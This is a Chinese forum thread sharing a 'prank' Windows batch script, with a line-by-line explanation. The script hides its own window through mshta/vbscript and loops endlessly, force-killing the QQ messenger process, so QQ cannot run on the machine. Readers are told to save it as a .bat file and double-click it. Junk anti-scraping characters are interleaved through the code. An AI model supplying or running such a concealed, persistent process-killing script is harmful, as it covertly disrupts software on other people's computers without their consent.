找回密码
 加入华同
搜索
黄金广告位联系EMAIL:[email protected] 黄金广告[email protected]
查看: 1416|回复: 1

一款小恶作剧代码 详解

[复制链接]
发表于 2012-11-23 21:16:02 | 显示全部楼层 |阅读模式
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
/ ^- t, M0 T, ^+ V: H新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
3 h2 v( v- E$ @: W: l" T
& {9 s3 L! b2 [8 o7 J@echo off 6 j! }; T. Z+ p8 F$ J/ {2 ]3 w
if "%1" == "h" goto begin
$ g% @1 }. l8 _9 ]! Mmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit 9 I+ W7 n8 T9 c* A! F
:begin
" V  k$ U) ^2 T! r2 |# Y: Etasklist |find /i "QQ.exe"
+ Z4 m& S: Z9 }+ bif %errorlevel%==0 (goto killit) else (goto next)
' c; J9 M9 Y/ i% E:killit & n2 k- m; \3 B
taskkill /f /im QQ.exe
" B% Q/ |! _: K/ _:next + \# h. f) m9 ~+ ?4 s- u" Q' U
ping -n 3 127.t >nul 2>nul ( Z/ `, R# K5 S$ q/ \0 v
goto begin
! [4 {7 @4 L' x! N. f3 j  i% y( X" Z) a2 z' A" W) A
代码到此为止
  k1 b( F- g* W! V" Z8 X讲解如下:
/ d2 O9 r+ K( r@echo off ------关闭回显
' J0 f' v8 @" e0 y. U; z# {# Dif "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行 + h5 T7 q2 D! W
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
9 o9 C# A! z" v/ S$ y1 C/ G:begin ------------定一段名begin
9 X1 ]5 N2 x& h' H; C- \& b7 i4 stasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe ) K% v4 m, A$ u5 V7 m5 K( v2 u
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next & h% d+ C7 Y* r- ]/ F
:killit
: k' B  Z# w7 E/ Ltaskkill /f /im QQ.exe----终结进程QQ.exe ) o; K' P5 Y% u3 `% k6 V5 @4 e" K
:next 1 I+ A4 N4 k4 R% o$ B2 x% [2 V
ping -n 3 127.t >nul 2>nul -----延迟一段时间
. E0 p6 \. U( ~( Vgoto begin--------------返回执行begin, M! S! J) ^9 L: n. n5 @
发表于 2013-4-7 18:39:50 | 显示全部楼层
有意思= =我去试试
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 加入华同

本版积分规则

Archiver|手机版|小黑屋|华人同志

GMT+8, 2024-10-1 22:21 , Processed in 0.061793 second(s), 7 queries , Redis On.

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表